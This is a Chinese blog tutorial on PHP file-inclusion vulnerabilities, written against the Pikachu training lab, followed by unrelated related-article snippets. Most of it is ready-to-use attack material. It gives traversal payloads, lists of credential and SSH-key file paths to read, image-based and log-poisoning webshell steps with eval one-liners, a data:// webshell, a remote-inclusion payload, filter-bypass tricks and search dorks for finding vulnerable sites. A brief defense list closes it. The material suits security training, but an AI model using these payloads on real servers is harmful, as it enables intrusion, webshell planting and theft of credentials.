pikachu文件包含漏洞

news2024/9/21 20:23:29

一:漏洞基础

程序在引用文件的时,引用的文件名存在可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入;

文件包含漏洞概念

在PHP程序中使用文件包含的对象可以被前端的用户控制且没有经过过滤或严格的定义,用户可以将其他的
文件作为参数带入到PHP代码中解释执行,从而造成敏感信息泄露/程序文件读取/GetShell等危害的漏
洞

1.1:高危函数

require() 和 include() 函数的区别:使用 require() 函数包含文件时,只要程序执行,立即调用文件,而 include() 只有程序执行到该函数时才调用 。其他用于包含的函数: highlight_file()、 show_source()、 readfile()、 file_get_contents()、fopen()、file()

文件包含是执行被包含文件中的PHP代码,而文件打开则是读取文件中的内容不会执行!

1.2:源码分析

# 漏洞解析
$_GET['filename'] 接收客户端传的参数,其中没有任何过滤 带入到 include 函数中,include
包含这个文件,引入到当前文件中,因此会造成文件包含漏洞;
# 文件包含
fi_local.php?filename=../../../windows/win.ini&submit=提交查询
# 注解
../是上一级路径,如果存在漏洞文件又存在的时候,不是 php 文件会被读取显示在页面中;

二:漏洞利用

文件包含漏洞分为本地文件包含漏洞(Local File include,LFI)与远程文件包含漏洞(Remote Fileinclude,RFI);

本地包含文件即被包含的文件在本地中,可通过读取系统存在的文件获取信息/上传图片GetShell/包含

2.1:本地文件包含(LFI)

指通过相对路径/绝对路径 的方式能打开并包含 本地文件的漏洞,大部分情况遇到的文件包含漏洞都是 LFI !

包含条件: 用户可以动态控制变量!

包含常用路径
# 日志文件包含GetShell
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
# 读取网站配置文件
dedecms 数据库配置文件 data/common.inc.php
discuz 全局配置文件 config/config_global.php
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php
# Windows
C:/boot.ini //查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml //IIS 配置文件
C:/Windows/repairsam //存储系统初次安装的密码
C:/Program Files/mysql/my.ini //Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD //Mysql root
C:/Windows/php.ini //php 配置信息
C:/Windows/my.ini //Mysql 配置信息
C:/Windows/win.ini // 配置信息
# Linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
# Payload
fi_local.php?filename=../../../windows/win.ini&submit=提交查询
/fi_local.php?filename=../../../../etc/passwd&submit=提交查询
# 相关靶场
http://123.206.127.23:8080 //Linux主机
包含图片GetShel
步骤一:先制作图片马
copy 1.jpg/b + 1.php/a 2.jpg

步骤二:通过文件上传模块上传一张GIF图片并获取其地址...如下
http://192.168.1.5/pikachu/vul/unsafeupload/uploads/2.jpg
步骤三:在文件包含页面进行文件包含...并GetShell
http://192.168.1.5/pikachu/vul/fileinclude/fi_local.php?
filename=../../../../info.jpg&submit=提交查询

蚁剑连接

步骤四:讲如下代码写入到图片马中并再次上传,并进行文件包含操作...
一句话木马
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
包含执行
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?
filename=../../unsafeupload/uploads/4.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A
5%E8%AF%A2

步骤四:进行文件包含后会在漏洞的当前目录下产生 shell.php 后面文件访问并连接...
127.0.0.1/pikachu/vul/fileinclude/shell.php

到指定目录下查看是否上传成功

蚁剑链接

包含日志GetShel

中间件例如 iis /apache/nginx 这些 web 中间件都会记录访问日志,如果访问日志中或错误日志中, 存在有 php 代码也可以引入到文件包含中,如果日志有 php 恶意代码也可导致 getshell;在linux下日志文件权限默认是 root 而php 的权限是 www-data 一般情况下都是读取不了,如果是windows 环境下是可以权限是允许的;

# 获取Apache日志路径
/etc/init.d/httpd
/etc/httpd/conf/httpd.conf
# 日志文件位置
phpstudy_pro\Extensions\Apache2.4.39\logs
/var/log/apache2/access.log
# Apache产生的日志文件
/Apache/logs/
-access.log #记录前端用户的访问日志
-error.log #记录Apache运行报错的记录
步骤一:制作一个具有文件包含漏洞的文件如下..存在漏洞,并且日志会记录;

# 漏洞代码

<?php

include $_GET['file'];

?>

# 日志文件

C:\phpStudy\PHPTutorial\Apache\logs\access.log

E:/uninstall/phpstudy_pro/Extensions/Nginx1.15.11/logs/localhost_acess.log

# 遇到问题

发现logs文件夹里面只有error.log且没有access.log修改httpd.

#CustomLog "logs/access.log" common 去掉前面这个#号

步骤二:我们可以直接插入恶意的php代码,使其记录下来;需注意浏览器会把 <> 编码,可以使用burp绕过;

改成

步骤三:日志记录,直接包含日志就可以了;注意在phpstudy里面可以,但是在linux里面可能就不行了,因为可能没有权限;
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../Extensions/Nginx1.15.11/logs/access.log&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

TIPS: 日志包含的时候,往往在日志文件之前有一些个错误,那么你再怎么努力也无济于事!!!日志文件往往是按天会生成新的文件。(凌晨的成功率较高)

PHP伪协议
<?php
include $_GET['file'];
?>

PHP 伪协议事实上就是支持的协议 封装协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect://
1. php.ini参数设置

在 php.ini 里有两个重要的参数 allow_url_fopen 、 allow_url_include ;

allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;

allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;

各协议的利用条件和方法:

2. file://协议
使用:file://文件的绝对路径和文件名
举例:
/lfi.php?file=file://c:\windows\system32\drivers\etc\hosts
/lfi.php?file=file://c:\windows\win.ini

3. php://filter协议
用途:常用于读取文件/源码
使用:?path=php://filter/read=convert.base64-encode/resource=文件.php
注意:通过指定末尾的文件,可以读取经 base64 加密后的文件源码 ,之后再 base64 解码,虽然不
能直接获取到 shell,但能读取敏感文件 。
php://filter 协议与 file:// 协议的区别:file 协议只能使用 绝对路径 ,filter 协议相对
路径和绝对路径 都可以使用
举例:
/lfi.php?file=php://filter/read=convert.base64-encode/resource=123.php
/lfi.php?file=php://filter/read=convert.base64-
encode/resource=c:\windows\win.ini
是在尝试通过 PHP 的过滤器来读取并以 Base64 编码的方式获取资源“c:\windows\win.ini”的内容。

4. php://input协议

php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。当传入

的参数作为文件名打开时,可以将参数设为 php://input,同时 post 想设置的文件内容,php 执行

时会将 post 内容当作文件内容;

注:当 enctype="multipart/form-data",php://input 是无效的;

php.ini 条件是 allow_url_fopen =ON allow_url_include=ON;

设置请求为 post 请求 在正文输入 php 代码提交即可允许;

5. data://

data://text/plain,(php代码)

?file=data://text/plain,

使用条件:
allow_url_fopen = on
allow_url_include = on
使用举例:
?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain;base64, PD9waHAgcGhwaW5mbygpPz4=
webshell构造:
URL: ?file=data://text/plain,<?php eval($_POST[1])?>
Webshell密码: 1

6. zip://
用途:读取压缩包内的文件(绝对路径/相对路径)
使用条件:allow_url_fopen = on
使用举例:
zip://[压缩文件绝对/相对路径]#[压缩文件内的子文件名](#编码为%23)
lfi.php?file=zip://E:/xxx.zip%23xxx.png

7. phar://
用途:读取压缩包内的文件(绝对路径/相对路径)
使用条件:allow_url_fopen = on
举例:
/lfi.php?file=phar://E:/xxx.zip/xxx.png
其他类似协议:
bzip2://
zlib://

2.2:远程文件包含(RFI)

当远程文件开启时,可以包含远程文件到本地执行也称为RFI!
当 allow_url_fopen=On allow_url_include=ON ** 两个条件同时为 On 允许远程包含文件**; 
---》phpinfo() l.php/info.php
步骤一:讲以下代码存储到1.txt中并开启HTTP服务器对外访问...
<?php phpinfo();@eval($_POST[1]);?>

步骤二:访问 lfi.php?file=[http://127.0.0.1/1.txt](http://127.0.0.1/1.txt)

2.3:文件包含限制绕过
<?php
$file = $_GET["file"];
include $file.".txt";
highlight_file(__FILE__);
?>
方法一:00截断
条件:1. magic_quotes_gpc = Off 2. php 版本 < 5.3.4
获取 phpinfo.php 文件

方法二:路径长度截断
操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,
导致扩展名截断。
Windows下目录的最大路径256B
Linux下目录的最大路径长度为4096B
条件:windows 系统需要长于 197 字符 (即 >=198),超出的部分会被丢弃

方法三:问号绕过
payload:1.php?file=http://127.0.0.1/1.txt?

方法四:#绕过
payload:1.php?file=http://127.0.0.1/1.txt%23

方法五:空格绕过
payload:
1.php?file=http://127.0.0.1/1.txt%20
1.php?file=http://127.0.0.1/1.txt+
1.php?file=http://127.0.0.1/1.txt abc

方法六:编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。

利用URL编码绕过

%2e%2e%2f === ../
%2e%2e%5c === ..\
%2e = .
%2f = /
%5c = \

二次URL编码

%252e%252e%252f%252e%252e%252f ---> 服务器接收解码一次 %2e%2f

三:挖掘防护

# 挖掘姿势
inurl:/.php?incluede=
inurl:/.PHP?file=
inurl:/.php?page=
# 易受本地文件包含 (LFI) 漏洞影响的前 25 个参数的列表
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
# 漏洞防护
1. 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是
否可被外部控制;
2. 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:"../";
3. 包含文件验证:验证被包含的文件是否是白名单中的一员;
4. 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php');
5. 设置 allow_url_include 为 Off ;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1984581.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如果忘了Linux密码如何重置?

忘记密码是我们常会遇到的情况之一&#xff0c;无论是在操作系统、网站账户、手机、电子邮件还是其他渠道上。 忘记密码是我们常会遇到的情况之一&#xff0c;无论是在操作系统、网站账户、手机、电子邮件还是其他渠道上。有时候如果密码需要符合特定的复杂性要求&#xff0c;…

【C++题解】1023. 判断素数

欢迎关注本专栏《C从零基础到信奥赛入门级&#xff08;CSP-J&#xff09;》 问题&#xff1a;1023. 判断素数 类型&#xff1a;函数&#xff0c;sqrt函数入门 题目描述&#xff1a; 任意输入一个整数&#xff0c;判断它是否为素数。是的话输出 T ,不是的话输出 F。 质数又称…

从传统监控到智能化升级:EasyCVR视频汇聚平台的一站式解决方案

随着科技的飞速发展和社会的不断进步&#xff0c;视频监控已经成为现代社会治安防控、企业管理等场景安全管理中不可或缺的一部分。而在视频监控领域&#xff0c;EasyCVR视频汇聚平台凭借其强大的多协议接入能力&#xff0c;在复杂多变的网络环境中展现出了卓越的性能和广泛的应…

Android 12系统源码_多屏幕(一)多屏幕设备显示Activity

前言 分屏&#xff1a;是指一个屏幕分出多个窗口&#xff0c;分别显示不同应用的界面&#xff0c;这在当前的手机设备中很常见。多屏&#xff1a;是指一个设备存在多个屏幕&#xff0c;这些可能是虚拟屏幕或者实体硬件屏幕&#xff0c;不同的应用同时显示在不同的屏幕中&#…

全面解析:msvcp140_atomic_wait.dll 丢失的解决之道,助你轻松应对

在尝试解决“msvcp140_atomic_wait.dll丢失”的问题时&#xff0c;首先需要确认错误信息的准确性。用户应仔细检查在启动程序或执行特定操作时是否确实出现了这一错误提示。确认错误后&#xff0c;可以进一步采取措施来解决问题。这包括检查系统日志和错误报告&#xff0c;以确…

RK3562J技术分享 | 使用SPI挂载数字式RTD温度传感器的方法

MAX31865是简单易用的热敏电阻至数字输出转换器&#xff0c;优化用于铂电阻温度检测器(RTD)。外部电阻设置RTD灵敏度&#xff0c;高精度Δ-Σ ADC将RTD电阻与基准电阻之比转换为数字输出。MAX31865输入具有高达45V的过压保护&#xff0c;提供可配置的RTD及电缆开路、短路条件检…

如何避免或者减少线上空指针问题的发生

一、背景 在我们的日常工作中&#xff0c;我们会经常遇到空指针问题&#xff0c;理论上来说只是一个判段空指针的小问题&#xff0c;但是因为这行代码的报错&#xff0c;程序中断了后面的执行&#xff0c;可能导致整体业务逻辑受影响。那在工作中我们应该如何避免&#xff0c;…

layer.load 加倒计时

实现效果 loadinglayer.load(1, {content:"",shade: [0.7, #333],time:5000,success: function(layero,index) {var i 5;var timer null;var fn function() {// 显示的提示layero.find(".layui-layer-content").html(正在连接&#xff0c;请稍等&…

谷歌突然停止为应用程序生成胖APK 只提供AAB包可能会影响用户侧载安装

谷歌最初是在 2018 年开始准备 Android App Bundle (即 AAB) 安装包&#xff0c;到 2021 年这种格式已经成为默认格式&#xff0c;开发者在提交应用程序时需要将其构建为 AAB 格式方便 Google Play 应用商店分发。 AAB 格式的优势在于适用于不同屏幕尺寸、语言、CPU 架构和 An…

js基础与判断

1.加减乘除 2.逻辑运算符 4.分支 5.swicth switch与if-else区别 6.break和continue

Python list加了类型推断运行报错,TypeError: ‘type‘ object is not subscriptable,python3.7

问题描述&#xff1a; 在python3.7 版本 运行代码&#xff0c;报错 def retry( ignore_exception_type_info_list:list[IgnoreExceptionInfo]None):>>> TypeError: type object is not subscriptable解决方案&#xff1a; 去掉list内的参数推断,就正常了&#xff0…

Linux 操作系统速通

一、安装虚拟机 1. VmWare 安装下载 vmware workstation pro 16 下载 win R 输入 ncpa.cpl 确保网卡正常 2. CentOS 系统下载 CentOS 系统下载 将 CentOS 系统安装到虚拟机 3. 查看虚拟机 IP 命令 ifconfig 4. finalShell 安装下载 finalShell 下载 输入用户名一般是 ro…

高标准农田监测设备—农田环境的实时监测和精准管理

TH-Q3高标准农田监测设备是现代农业生产中不可或缺的重要工具&#xff0c;它们通过集成物联网、大数据、人工智能等先进技术&#xff0c;实现了对农田环境的实时监测和精准管理。以下是对高标准农田监测设备的详细介绍&#xff1a; 设备组成 高标准农田监测设备通常由多个子系统…

出现 No mapping for DELETE/GET等

出现 No mapping for DELETE/GET等 错误一&#xff1a;请求url不对 修改前 如下图可知后端请求url为http://localhost:8080/user/addressBook 运行后控制台出现 发现后端请求url比前端请求url少了/ 改正&#xff1a; 在DeleteMapping后面加上 / DeleteMapping("/&quo…

欧科云链对话香港大学、零壹智库:监管加速,市场增长何时就位?

香港Web3行业近期在广泛讨论一个话题——稳定币。它是虚拟资产和Web3市场的重要分支&#xff0c;也是连接传统金融与虚拟资产市场重要的“桥梁”。随着全球Web3 合规进程加速&#xff0c;各国也在积极推进本土稳定币监管及发展&#xff0c;稳定币市场格局正在迎来变革。近日&am…

堆排序以及向上、向下调整算法的时间复杂度推导及实现(超详细)

什么是堆排序&#xff1f; 堆排序是由堆这种数据结构所设计的一种排序算法 堆的分类&#xff1a; 大根堆&#xff1a;每个父结点的值都大于子结点 小根堆 &#xff1a;每个父结点的值都小于子结点 在了解完堆之后&#xff0c;需要先了解建堆&#xff0c;建堆有向上建堆建大…

JavaWeb——CSS的使用

CSS 层叠样式表(英文全称:(cascading stle sheets)能够对网页中元素位置的排版进行像素级精确控制&#xff0c;支持几乎所有的字体字号样式&#xff0c;拥有对网页对象和模型样式编辑的能力,简单来说,CSS用来美化页面 一、CSS的引入方式: 1.行内式&#xff1a;通过元素开始标…

清除 Nuxt 数据缓存:clearNuxtData

title: 清除 Nuxt 数据缓存&#xff1a;clearNuxtData date: 2024/8/6 updated: 2024/8/6 author: cmdragon excerpt: 摘要&#xff1a;本文详细介绍了Nuxt.js框架中的clearNuxtData方法&#xff0c;用于清除useAsyncData和useFetch缓存的数据、错误状态和待处理promises&am…

Sentine 源码分析之--AuthoritySlot、SystemSlot、GatewayFlowSlot

前言&#xff1a; 上一篇我对 Sentinel 中统计数据部分的 NodeSelectorSlot、ClusterBuilderSlot、StatisticSlot 的相关源码进行了分析&#xff0c;本篇我们开始分析规则相关的源码。 Sentinel 系列文章传送门&#xff1a; Sentinel 初步认识及使用 Sentinel 核心概念和工…

国家机构选用NAS存储的要求是什么?

西北航天基地采用Infortrend NAS存储做影视后期及共享 国家机构航天基地每天都有升空任务&#xff0c;记录下的视频数据分发给对应的项目组的NAS存储设备上&#xff0c;方便每个项目组做分析总结、对外宣传及学术交流的使用需求&#xff0c;因此选用了Infortrend桌面级NAS存储…